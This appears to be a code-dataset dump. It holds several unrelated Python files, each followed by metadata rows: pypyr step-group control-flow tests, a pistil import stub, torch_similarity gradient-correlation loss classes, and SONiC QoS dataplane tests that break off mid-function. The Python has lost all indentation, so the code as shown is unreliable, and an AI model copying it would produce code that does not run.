nothing_step, # 5.1
]
context = Context({'a': 'b'})
StepsRunner(get_while_pipeline(), context).run_step_groups(
groups=['sg2'],
success_group='sg5',
failure_group=None)
assert mock21.mock_calls == [call({'a': 'b', 'whileCounter': 1}),
call({'a': 'b', 'whileCounter': 2})]
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg1.step1'),
call('sg1.step2'),
call('sg4.step1'),
call('sg3.step1'),
call('sg3.step2'),
call('sg5.step1')]
assert context == {'a': 'b', 'whileCounter': 2}
def get_for_pipeline():
"""Test pipeline for for."""
return {
'sg1': [
'sg1.step1',
'sg1.step2'
],
'sg2': [
{'name': 'sg2.step1',
'foreach': ['one', 'two', 'three']
},
'sg2.step2'
],
'sg3': [
'sg3.step1',
'sg3.step2'
],
'sg4': [
'sg4.step1',
'sg4.step2'
],
'sg5': [
'sg5.step1'
],
'sg6': [
'sg6.step1',
'sg6.step2'
]
}
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_jump_with_for(mock_step_cache):
"""Jump between different step groups in a foreach."""
# Sequence: sg2 - sg2.1 x2 (JUMP)
# sg1 - sg1.1, sg 1.2 (JUMP)
# sg4 - sg4.1 (JUMP)
# sg3 - sg3.1, sg 3.2
# sg5 - sg5.1 (on_success)
mock21 = DeepCopyMagicMock()
def step21(context):
mock21(context)
if context['i'] == 'two':
jump_step(['sg1'])(context)
mock_step_cache.side_effect = [
step21, # 2.1
nothing_step, # 1.1
jump_step(['sg4']), # 1.2
jump_step(['sg3']), # 4.1
nothing_step, # 3.1
nothing_step, # 3.2
nothing_step, # 5.1
]
context = Context({'a': 'b'})
StepsRunner(get_for_pipeline(), context).run_step_groups(
groups=['sg2'],
success_group='sg5',
failure_group=None)
assert mock21.mock_calls == [call({'a': 'b', 'i': 'one'}),
call({'a': 'b', 'i': 'two'})]
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg1.step1'),
call('sg1.step2'),
call('sg4.step1'),
call('sg3.step1'),
call('sg3.step2'),
call('sg5.step1')]
assert context == {'a': 'b', 'i': 'two'}
# endregion Jump
# region StopStepGroup
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_stop_step_group_with_success_handler(mock_step_cache):
"""Stop step group with success handler."""
# Sequence: sg2 - sg2.1, sg2.2
# sg1 - sg1.1 STOP
# sg3 - sg3.1, sg3.2 - success handler
def stop_step_group_step(context):
raise StopStepGroup()
mock_step_cache.side_effect = [
nothing_step, # 2.1
nothing_step, # 2.2
stop_step_group_step, # 1.1
nothing_step, # 3.1
nothing_step, # 3.2
]
context = Context()
StepsRunner(get_jump_pipeline(), context).run_step_groups(
groups=['sg2', 'sg1'],
success_group='sg3',
failure_group=None)
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg2.step2'),
call('sg1.step1'),
call('sg3.step1'),
call('sg3.step2')
]
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_stop_step_group_with_jumps(mock_step_cache):
"""Stop Step Group with jumps."""
# Sequence: sg2 - sg2.1 (JUMP)
# sg1 - sg1.1, sg 1.2 - STOP
def stop_step_group_step(context):
raise StopStepGroup()
mock_step_cache.side_effect = [
jump_step(['sg1']), # 2.1
nothing_step, # 1.1
stop_step_group_step # 1.2
]
context = Context()
StepsRunner(get_jump_pipeline(), context).run_step_groups(
groups=['sg2'],
success_group=None,
failure_group=None)
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg1.step1'),
call('sg1.step2')]
def get_for_11_pipeline():
"""Test pipeline for for."""
return {
'sg1': [
{'name': 'sg1.step1',
'foreach': ['one', 'two', 'three']
},
'sg1.step2'
],
'sg2': [
'sg2.step1',
'sg2.step2'
],
'sg3': [
'sg3.step1',
'sg3.step2'
],
'sg4': [
'sg4.step1',
'sg4.step2'
],
'sg5': [
'sg5.step1'
],
'sg6': [
'sg6.step1',
'sg6.step2'
]
}
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_stop_step_group_with_success_handler_for(mock_step_cache):
"""Stop step group with success handler in for loop."""
# Sequence: sg2 - sg2.1, sg2.2
# sg1 - sg1.1 x2 STOP
# sg3 - sg3.1, sg3.2 - success handler
mock11 = DeepCopyMagicMock()
def step11(context):
mock11(context)
if context['i'] == 'two':
raise StopStepGroup()
mock_step_cache.side_effect = [
nothing_step, # 2.1
nothing_step, # 2.2
step11, # 1.1
nothing_step, # 3.1
nothing_step, # 3.2
]
context = Context({'a': 'b'})
StepsRunner(get_for_11_pipeline(), context).run_step_groups(
groups=['sg2', 'sg1'],
success_group='sg3',
failure_group=None)
assert mock11.mock_calls == [call({'a': 'b', 'i': 'one'}),
call({'a': 'b', 'i': 'two'})]
assert context == {'a': 'b', 'i': 'two'}
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg2.step2'),
call('sg1.step1'),
call('sg3.step1'),
call('sg3.step2')
]
def get_while_11_pipeline():
"""Test pipeline for while."""
return {
'sg1': [
{'name': 'sg1.step1',
'while': {
'max': 3}
},
'sg1.step2'
],
'sg2': [
'sg2.step1',
'sg2.step2'
],
'sg3': [
'sg3.step1',
'sg3.step2'
],
'sg4': [
'sg4.step1',
'sg4.step2'
],
'sg5': [
'sg5.step1'
],
'sg6': [
'sg6.step1',
'sg6.step2'
]
}
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_stop_step_group_with_success_handler_while(mock_step_cache):
"""Stop step group with success handler in while loop."""
# Sequence: sg2 - sg2.1, sg2.2
# sg1 - sg1.1 x2 STOP
# sg3 - sg3.1, sg3.2 - success handler
mock11 = DeepCopyMagicMock()
def step11(context):
mock11(context)
if context['whileCounter'] == 2:
raise StopStepGroup()
mock_step_cache.side_effect = [
nothing_step, # 2.1
nothing_step, # 2.2
step11, # 1.1
nothing_step, # 3.1
nothing_step, # 3.2
]
context = Context({'a': 'b'})
StepsRunner(get_while_11_pipeline(), context).run_step_groups(
groups=['sg2', 'sg1'],
success_group='sg3',
failure_group=None)
assert mock11.mock_calls == [call({'a': 'b', 'whileCounter': 1}),
call({'a': 'b', 'whileCounter': 2})]
assert context == {'a': 'b', 'whileCounter': 2}
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg2.step2'),
call('sg1.step1'),
call('sg3.step1'),
call('sg3.step2')
]
# endregion StopStepGroup
# region Call
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_call_with_success_handler(mock_step_cache):
"""Call between different step groups with success handler."""
# Sequence: sg2 - sg2.1 (CALL)
# sg1 - sg1.1, sg 1.2 (CALL)
# sg4 - sg4.1 (CALL)
# sg3 - sg3.1, sg 3.2
# sg 4.2, sg2.2 (come back to call point)
# sg5 - sg5.1 (on_success)
mock_step_cache.side_effect = [
call_step(['sg1']), # 2.1
nothing_step, # 1.1
call_step(['sg4']), # 1.2
call_step(['sg3']), # 4.1
nothing_step, # 3.1
nothing_step, # 3.2
nothing_step, # 4.2
nothing_step, # 2.2
nothing_step, # 5.1
]
context = Context({'call': {'groups': 'sg1'}})
pipeline = Pipeline('arb')
steps_runner = StepsRunner(get_jump_pipeline(), context)
pipeline.steps_runner = steps_runner
with context.pipeline_scope(pipeline):
steps_runner.run_step_groups(
groups=['sg2'],
success_group='sg5',
failure_group=None)
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg1.step1'),
call('sg1.step2'),
call('sg4.step1'),
call('sg3.step1'),
call('sg3.step2'),
call('sg4.step2'),
call('sg2.step2'),
call('sg5.step1')]
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_call_with_failure_handler(mock_step_cache):
"""Call between different step groups with failure handler."""
# Sequence: sg2 - sg2.1 (CALL)
# sg3 - sg3.1 (ERROR)
# sg4 - sg4.1, sg4.2 (failure handler)
def err_step(context):
raise ValueError('3.1')
mock_step_cache.side_effect = [
call_step(['sg3']), # 2.1
err_step, # 3.1
nothing_step, # 4.1
nothing_step, # 4.2
]
context = Context({'call': {'groups': 'sg3'}})
pipeline = Pipeline('arb')
steps_runner = StepsRunner(get_jump_pipeline(), context)
pipeline.steps_runner = steps_runner
with context.pipeline_scope(pipeline):
with pytest.raises(ValueError) as err_info:
steps_runner.run_step_groups(
groups=['sg2', 'sg1'],
success_group='sg5',
failure_group='sg4')
assert str(err_info.value) == '3.1'
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg3.step1'),
call('sg4.step1'),
call('sg4.step2')]
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_call_with_failure_handler_while(mock_step_cache):
"""Call between different step groups with failure handler."""
# Sequence: sg2 - sg2.1 x2 (CALL)
# sg3 - sg3.1 (ERROR)
# sg4 - sg4.1, sg4.2 (failure handler)
def err_step(context):
raise ValueError('3.1')
mock21 = DeepCopyMagicMock()
def step21(context):
mock21(context)
if context['whileCounter'] == 2:
context['call'] = "step21"
call_step(['sg3'])(context)
mock_step_cache.side_effect = [
step21, # 2.1
err_step, # 3.1
nothing_step, # 4.1
nothing_step, # 4.2
]
context = Context({'a': 'b'})
pipeline = Pipeline('arb')
steps_runner = StepsRunner(get_while_pipeline(), context)
pipeline.steps_runner = steps_runner
with context.pipeline_scope(pipeline):
with pytest.raises(ValueError) as err_info:
steps_runner.run_step_groups(
groups=['sg2', 'sg1'],
success_group='sg5',
failure_group='sg4')
assert str(err_info.value) == '3.1'
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg3.step1'),
call('sg4.step1'),
call('sg4.step2')]
assert mock21.mock_calls == [call({'a': 'b',
'whileCounter': 1
}),
call({'a': 'b',
'whileCounter': 2
})]
assert repr(context) == repr({'a': 'b',
'whileCounter': 2,
'call': 'arb',
'runErrors': [
{'name': 'ValueError',
'description': '3.1',
'customError': {},
'line': None,
'col': None,
'step': 'sg3.step1',
'exception': ValueError('3.1'),
'swallowed': False}
]})
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_call_with_no_failure_handler(mock_step_cache):
"""Call between different step groups raising an error and no handler."""
# Sequence: sg2 - sg2.1 (CALL)
# sg3 - sg3.1 (ERROR)
# sg4 - sg4.1, sg4.2 (failure handler)
def err_step(context):
raise ValueError('3.1')
mock_step_cache.side_effect = [
call_step(['sg3']), # 2.1
err_step, # 3.1
nothing_step, # 4.1
nothing_step, # 4.2
]
context = Context({'call': {'groups': 'sg3'}})
pipeline = Pipeline('arb')
steps_runner = StepsRunner(get_jump_pipeline(), context)
pipeline.steps_runner = steps_runner
with context.pipeline_scope(pipeline):
with pytest.raises(ValueError) as err_info:
steps_runner.run_step_groups(
groups=['sg2', 'sg1'],
success_group=None,
failure_group=None)
assert str(err_info.value) == '3.1'
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg3.step1')]
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_call_with_success_handler_for(mock_step_cache):
"""Call between different step groups with success handler in for."""
# Sequence: sg2 - sg2.1 x2 (CALL)
# sg1 - sg1.1, sg 1.2 (CALL)
# sg4 - sg4.1 (CALL)
# sg3 - sg3.1, sg 3.2
# sg 4.2, (come back to call point)
# sg2.1 x1 (back in for iterator)
# sg2.2 (complete sg2)
# sg5 - sg5.1 (on_success)
mock21 = DeepCopyMagicMock()
def step21(context):
mock21(context)
if context['i'] == 'two':
context['call'] = 'sg1'
call_step(['sg1'])(context)
def mutate_step(context):
context['a'] = 'changed'
def mutate_after_loop(context):
context['a'] = 'after loop'
mock_step_cache.side_effect = [
step21, # 2.1
nothing_step, # 1.1
call_step(['sg4']), # 1.2
call_step(['sg3']), # 4.1
nothing_step, # 3.1
nothing_step, # 3.2
mutate_step, # 4.2
mutate_after_loop, # 2.2
nothing_step, # 5.1
]
context = Context({'a': 'b'})
pipeline = Pipeline('arb')
steps_runner = StepsRunner(get_for_pipeline(), context)
pipeline.steps_runner = steps_runner
with context.pipeline_scope(pipeline):
steps_runner.run_step_groups(
groups=['sg2'],
success_group='sg5',
failure_group=None)
assert mock21.mock_calls == [call({'a': 'b',
'i': 'one'}),
call({'a': 'b',
'i': 'two'}),
call({'a': 'changed',
'i': 'three',
'call': 'arb'})]
assert context == {'a': 'after loop', 'i': 'three', 'call': 'arb'}
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg1.step1'),
call('sg1.step2'),
call('sg4.step1'),
call('sg3.step1'),
call('sg3.step2'),
call('sg4.step2'),
call('sg2.step2'),
call('sg5.step1')]
def get_retry_pipeline():
"""Test pipeline for retry."""
return {
'sg1': [
'sg1.step1',
'sg1.step2'
],
'sg2': [
{'name': 'sg2.step1',
'retry': {
'max': 3}
},
'sg2.step2'
],
'sg3': [
'sg3.step1',
'sg3.step2'
],
'sg4': [
'sg4.step1',
'sg4.step2'
],
'sg5': [
'sg5.step1'
],
'sg6': [
'sg6.step1',
'sg6.step2'
]
}
@patch('pypyr.cache.stepcache.step_cache.get_step')
def test_call_with_success_handler_retry(mock_step_cache):
"""Call between different step groups with success handler in retry."""
# Sequence: sg2 - sg2.1 x2 (CALL)
# sg1 - sg1.1, sg 1.2 (CALL)
# sg4 - sg4.1 (CALL)
# sg3 - sg3.1, sg 3.2
# sg 4.2, sg2.2 (come back to call point)
# sg5 - sg5.1 (on_success)
mock21 = DeepCopyMagicMock()
def step21(context):
mock21(context)
if context['retryCounter'] == 2:
context['call'] = 'sg1'
call_step(['sg1'])(context)
else:
raise ValueError(context['retryCounter'])
mock_step_cache.side_effect = [
step21, # 2.1
nothing_step, # 1.1
call_step(['sg4']), # 1.2
call_step(['sg3']), # 4.1
nothing_step, # 3.1
nothing_step, # 3.2
nothing_step, # 4.2
nothing_step, # 2.2
nothing_step, # 5.1
]
context = Context({'a': 'b'})
pipeline = Pipeline('arb')
steps_runner = StepsRunner(get_retry_pipeline(), context)
pipeline.steps_runner = steps_runner
with context.pipeline_scope(pipeline):
steps_runner.run_step_groups(
groups=['sg2'],
success_group='sg5',
failure_group=None)
assert mock21.mock_calls == [call({'a': 'b',
'retryCounter': 1}),
call({'a': 'b',
'retryCounter': 2})]
assert context == {'a': 'b',
'retryCounter': 2,
'call': 'arb'}
assert mock_step_cache.mock_calls == [call('sg2.step1'),
call('sg1.step1'),
call('sg1.step2'),
call('sg4.step1'),
call('sg3.step1'),
call('sg3.step2'),
call('sg4.step2'),
call('sg2.step2'),
call('sg5.step1')]
# endregion Call
| 31.942529
| 79
| 0.510058
| 5,913
| 55,580
| 4.565026
| 0.050736
| 0.024636
| 0.020894
| 0.018301
| 0.820991
| 0.786278
| 0.763791
| 0.730597
| 0.717038
| 0.699922
| 0
| 0.041157
| 0.363494
| 55,580
| 1,739
| 80
| 31.960897
| 0.721853
| 0.121051
| 0
| 0.707393
| 0
| 0
| 0.152066
| 0.020335
| 0
| 0
| 0
| 0
| 0.089494
| 1
| 0.059144
| false
| 0.003113
| 0.007004
| 0
| 0.076265
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7cd3854eadb326c424a9d015b897bc482681a919
| 91
|
py
|
Python
|
pistil/tcp/__init__.py
|
benoitc/pistil
|
5c182e981174da77576ccdf140b3c7fbdaf3e111
|
[
"MIT"
] | 1
|
2020-01-21T11:10:11.000Z
|
2020-01-21T11:10:11.000Z
|
pistil/tcp/__init__.py
|
benoitc/pistil
|
5c182e981174da77576ccdf140b3c7fbdaf3e111
|
[
"MIT"
] | null | null | null |
pistil/tcp/__init__.py
|
benoitc/pistil
|
5c182e981174da77576ccdf140b3c7fbdaf3e111
|
[
"MIT"
] | null | null | null |
from pistil.tcp.arbiter import TcpArbiter
from pistil.tcp.sync_worker import TcpSyncWorker
| 30.333333
| 48
| 0.868132
| 13
| 91
| 6
| 0.692308
| 0.25641
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087912
| 91
| 2
| 49
| 45.5
| 0.939759
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7cdb279ae31f7af5516784ea4f9d4deb99c1d9e3
| 2,955
|
py
|
Python
|
codes/torch_similarity/modules/gradient_correlation_loss.py
|
GuoShi28/TwoStageAlignment_for_BurstRestoration
|
7abfdbfd6248fbbb1aeae359cf658c5a445c9f40
|
[
"MIT"
] | 21
|
2020-01-16T15:22:26.000Z
|
2022-02-16T17:34:51.000Z
|
codes/torch_similarity/modules/gradient_correlation_loss.py
|
GuoShi28/2StageAlign
|
7abfdbfd6248fbbb1aeae359cf658c5a445c9f40
|
[
"MIT"
] | 4
|
2020-01-27T09:03:36.000Z
|
2021-08-09T20:08:42.000Z
|
codes/torch_similarity/modules/gradient_correlation_loss.py
|
GuoShi28/2StageAlign
|
7abfdbfd6248fbbb1aeae359cf658c5a445c9f40
|
[
"MIT"
] | 7
|
2020-11-15T09:36:09.000Z
|
2022-03-17T15:24:04.000Z
|
from __future__ import absolute_import
from .gradient_correlation import GradientCorrelation1d
from .gradient_correlation import GradientCorrelation2d
from .gradient_correlation import GradientCorrelation3d
class GradientCorrelationLoss1d(GradientCorrelation1d):
""" One-dimensional gradient correlation loss (GC-loss)
Args:
grad_method (str, optional): Type of the gradient kernel. Defaults to 'default'.
gauss_sigma (float, optional): Standard deviation for Gaussian kernel. Defaults to None.
gauss_truncate (float, optional): Truncate the Gaussian kernel at this value. Defaults to 4.0.
return_map (bool, optional): If True, also return the correlation map. Defaults to False.
reduction (str, optional): Specifies the reduction to apply to the output:
``'mean'`` | ``'sum'``. Defaults to ``'mean'``.
eps (float, optional): Epsilon value for numerical stability. Defaults to 1e-8.
"""
def forward(self, x, y):
gc = super().forward(x, y)
if not self.return_map:
return 1.0 - gc
return 1.0 - gc[0], gc[1]
class GradientCorrelationLoss2d(GradientCorrelation2d):
""" Two-dimensional gradient correlation loss (GC-loss)
Args:
grad_method (str, optional): Type of the gradient kernel. Defaults to 'default'.
gauss_sigma (float, optional): Standard deviation for Gaussian kernel. Defaults to None.
gauss_truncate (float, optional): Truncate the Gaussian kernel at this value. Defaults to 4.0.
return_map (bool, optional): If True, also return the correlation map. Defaults to False.
reduction (str, optional): Specifies the reduction to apply to the output:
``'mean'`` | ``'sum'``. Defaults to ``'mean'``.
eps (float, optional): Epsilon value for numerical stability. Defaults to 1e-8.
"""
def forward(self, x, y):
gc = super().forward(x, y)
if not self.return_map:
return 1.0 - gc
return 1.0 - gc[0], gc[1]
class GradientCorrelationLoss3d(GradientCorrelation3d):
""" Three-dimensional gradient correlation loss (GC-loss)
Args:
grad_method (str, optional): Type of the gradient kernel. Defaults to 'default'.
gauss_sigma (float, optional): Standard deviation for Gaussian kernel. Defaults to None.
gauss_truncate (float, optional): Truncate the Gaussian kernel at this value. Defaults to 4.0.
return_map (bool, optional): If True, also return the correlation map. Defaults to False.
reduction (str, optional): Specifies the reduction to apply to the output:
``'mean'`` | ``'sum'``. Defaults to ``'mean'``.
eps (float, optional): Epsilon value for numerical stability. Defaults to 1e-8.
"""
def forward(self, x, y):
gc = super().forward(x, y)
if not self.return_map:
return 1.0 - gc
return 1.0 - gc[0], gc[1]
| 42.826087
| 102
| 0.667343
| 374
| 2,955
| 5.21123
| 0.192513
| 0.092355
| 0.049256
| 0.030785
| 0.82863
| 0.82863
| 0.82863
| 0.82863
| 0.82863
| 0.82863
| 0
| 0.017188
| 0.232149
| 2,955
| 68
| 103
| 43.455882
| 0.841781
| 0.659222
| 0
| 0.681818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.136364
| false
| 0
| 0.181818
| 0
| 0.727273
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
6b135f8faee18c253dc2d0160c6793e1ae41424f
| 86,914
|
py
|
Python
|
ansible/roles/test/files/saitests/sai_qos_tests.py
|
GarrickHe/sonic-mgmt
|
74c2ac63ad948227ac90d7ab89205cff08cc9833
|
[
"Apache-2.0"
] | null | null | null |
ansible/roles/test/files/saitests/sai_qos_tests.py
|
GarrickHe/sonic-mgmt
|
74c2ac63ad948227ac90d7ab89205cff08cc9833
|
[
"Apache-2.0"
] | null | null | null |
ansible/roles/test/files/saitests/sai_qos_tests.py
|
GarrickHe/sonic-mgmt
|
74c2ac63ad948227ac90d7ab89205cff08cc9833
|
[
"Apache-2.0"
] | null | null | null |
"""
SONiC Dataplane Qos tests
"""
import time
import logging
import ptf.packet as scapy
import socket
import ptf.dataplane as dataplane
import sai_base_test
import operator
import sys
from ptf.testutils import (ptf_ports,
simple_arp_packet,
send_packet,
simple_tcp_packet,
simple_qinq_tcp_packet)
from ptf.mask import Mask
from switch import (switch_init,
sai_thrift_create_scheduler_profile,
sai_thrift_clear_all_counters,
sai_thrift_read_port_counters,
sai_port_list,
port_list,
sai_thrift_read_port_watermarks,
sai_thrift_read_pg_counters,
sai_thrift_read_buffer_pool_watermark,
sai_thrift_port_tx_disable,
sai_thrift_port_tx_enable)
from switch_sai_thrift.ttypes import (sai_thrift_attribute_value_t,
sai_thrift_attribute_t)
from switch_sai_thrift.sai_headers import (SAI_PORT_ATTR_QOS_SCHEDULER_PROFILE_ID,
SAI_PORT_ATTR_PKT_TX_ENABLE)
# Counters
# The index number comes from the append order in sai_thrift_read_port_counters
EGRESS_DROP = 0
INGRESS_DROP = 1
PFC_PRIO_3 = 5
PFC_PRIO_4 = 6
TRANSMITTED_OCTETS = 10
TRANSMITTED_PKTS = 11
QUEUE_0 = 0
QUEUE_1 = 1
QUEUE_2 = 2
QUEUE_3 = 3
QUEUE_4 = 4
QUEUE_5 = 5
QUEUE_6 = 6
PG_NUM = 8
QUEUE_NUM = 8
# Constants
STOP_PORT_MAX_RATE = 1
RELEASE_PORT_MAX_RATE = 0
ECN_INDEX_IN_HEADER = 53 # Fits the ptf hex_dump_buffer() parse function
DSCP_INDEX_IN_HEADER = 52 # Fits the ptf hex_dump_buffer() parse function
class ARPpopulate(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
router_mac = self.test_params['router_mac']
# ARP Populate
index = 0
for port in ptf_ports():
arpreq_pkt = simple_arp_packet(
eth_dst='ff:ff:ff:ff:ff:ff',
eth_src=self.dataplane.get_mac(port[0],port[1]),
arp_op=1,
ip_snd='10.0.0.%d' % (index * 2 + 1),
ip_tgt='10.0.0.%d' % (index * 2),
hw_snd=self.dataplane.get_mac(port[0], port[1]),
hw_tgt='00:00:00:00:00:00')
send_packet(self, port[1], arpreq_pkt)
index += 1
class ReleaseAllPorts(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
asic_type = self.test_params['sonic_asic_type']
sai_thrift_port_tx_enable(self.client, asic_type, port_list.keys())
# DSCP to queue mapping
class DscpMappingPB(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
router_mac = self.test_params['router_mac']
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
print >> sys.stderr, "dst_port_id: %d, src_port_id: %d" % (dst_port_id, src_port_id)
print >> sys.stderr, "dst_port_mac: %s, src_port_mac: %s, src_port_ip: %s, dst_port_ip: %s" % (dst_port_mac, src_port_mac, src_port_ip, dst_port_ip)
exp_ip_id = 101
exp_ttl = 63
# Get a snapshot of counter values
# port_results is not of our interest here
port_results, queue_results_base = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# DSCP Mapping test
try:
for dscp in range(0, 64):
tos = (dscp << 2)
tos |= 1
pkt = simple_tcp_packet(pktlen=64,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=exp_ttl + 1 if router_mac != '' else exp_ttl)
send_packet(self, src_port_id, pkt, 1)
print >> sys.stderr, "dscp: %d, calling send_packet()" % (tos >> 2)
cnt = 0
dscp_received = False
while not dscp_received:
result = self.dataplane.poll(device_number=0, port_number=dst_port_id, timeout=3)
if isinstance(result, self.dataplane.PollFailure):
self.fail("Expected packet was not received on port %d. Total received: %d.\n%s" % (dst_port_id, cnt, result.format()))
recv_pkt = scapy.Ether(result.packet)
cnt += 1
# Verify dscp flag
try:
if (recv_pkt.payload.tos == tos) and (recv_pkt.payload.src == src_port_ip) and (recv_pkt.payload.dst == dst_port_ip) and \
(recv_pkt.payload.ttl == exp_ttl) and (recv_pkt.payload.id == exp_ip_id):
dscp_received = True
print >> sys.stderr, "dscp: %d, total received: %d" % (tos >> 2, cnt)
except AttributeError:
print >> sys.stderr, "dscp: %d, total received: %d, attribute error!" % (tos >> 2, cnt)
continue
# Read Counters
time.sleep(10)
port_results, queue_results = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
print >> sys.stderr, map(operator.sub, queue_results, queue_results_base)
# According to SONiC configuration all dscp are classified to queue 1 except:
# dscp 8 -> queue 0
# dscp 5 -> queue 2
# dscp 3 -> queue 3
# dscp 4 -> queue 4
# dscp 46 -> queue 5
# dscp 48 -> queue 6
# So for the 64 pkts sent the mapping should be -> 58 queue 1, and 1 for queue0, queue2, queue3, queue4, queue5, and queue6
# Check results
assert(queue_results[QUEUE_0] == 1 + queue_results_base[QUEUE_0])
assert(queue_results[QUEUE_1] == 58 + queue_results_base[QUEUE_1])
assert(queue_results[QUEUE_2] == 1 + queue_results_base[QUEUE_2])
assert(queue_results[QUEUE_3] == 1 + queue_results_base[QUEUE_3])
assert(queue_results[QUEUE_4] == 1 + queue_results_base[QUEUE_4])
assert(queue_results[QUEUE_5] == 1 + queue_results_base[QUEUE_5])
assert(queue_results[QUEUE_6] == 1 + queue_results_base[QUEUE_6])
finally:
print >> sys.stderr, "END OF TEST"
# DOT1P to queue mapping
class Dot1pToQueueMapping(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
# Parse input parameters
router_mac = self.test_params['router_mac']
print >> sys.stderr, "router_mac: %s" % (router_mac)
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
print >> sys.stderr, "dst_port_id: %d, src_port_id: %d" % (dst_port_id, src_port_id)
print >> sys.stderr, "dst_port_mac: %s, src_port_mac: %s, src_port_ip: %s, dst_port_ip: %s" % (dst_port_mac, src_port_mac, src_port_ip, dst_port_ip)
vlan_id = int(self.test_params['vlan_id'])
exp_ip_id = 102
exp_ttl = 63
# According to SONiC configuration dot1ps are classified as follows:
# dot1p 0 -> queue 0
# dot1p 1 -> queue 6
# dot1p 2 -> queue 5
# dot1p 3 -> queue 3
# dot1p 4 -> queue 4
# dot1p 5 -> queue 2
# dot1p 6 -> queue 1
# dot1p 7 -> queue 0
queue_dot1p_map = {
0 : [0, 7],
1 : [6],
2 : [5],
3 : [3],
4 : [4],
5 : [2],
6 : [1]
}
print >> sys.stderr, queue_dot1p_map
try:
for queue, dot1ps in queue_dot1p_map.items():
port_results, queue_results_base = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# send pkts with dot1ps that map to the same queue
for dot1p in dot1ps:
# ecn marked
tos = 1
# Note that vlan tag can be stripped by a switch.
# To embrace this situation, we assemble a q-in-q double-tagged packet,
# and write the dot1p info into both vlan tags so that
# when we receive the packet we do not need to make any assumption
# on whether the outer tag is stripped by the switch or not, or
# more importantly, we do not need to care about, as in the single-tagged
# case, whether the immediate payload is the vlan tag or the ip
# header to determine the valid fields for receive validation
# purpose. With a q-in-q packet, we are sure that the next layer of
# header in either switching behavior case is still a vlan tag
pkt = simple_qinq_tcp_packet(pktlen=64,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
dl_vlan_outer=vlan_id,
dl_vlan_pcp_outer=dot1p,
vlan_vid=vlan_id,
vlan_pcp=dot1p,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=exp_ttl + 1 if router_mac != '' else exp_ttl)
send_packet(self, src_port_id, pkt, 1)
print >> sys.stderr, "dot1p: %d, calling send_packet" % (dot1p)
# validate queue counters increment by the correct pkt num
time.sleep(8)
port_results, queue_results = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
print >> sys.stderr, queue_results_base
print >> sys.stderr, queue_results
print >> sys.stderr, map(operator.sub, queue_results, queue_results_base)
for i in range(0, QUEUE_NUM):
if i == queue:
assert(queue_results[queue] == queue_results_base[queue] + len(dot1ps))
else:
assert(queue_results[i] == queue_results_base[i])
# confirm that dot1p pkts sent are received
total_recv_cnt = 0
dot1p_recv_cnt = 0
while dot1p_recv_cnt < len(dot1ps):
result = self.dataplane.poll(device_number=0, port_number=dst_port_id, timeout=3)
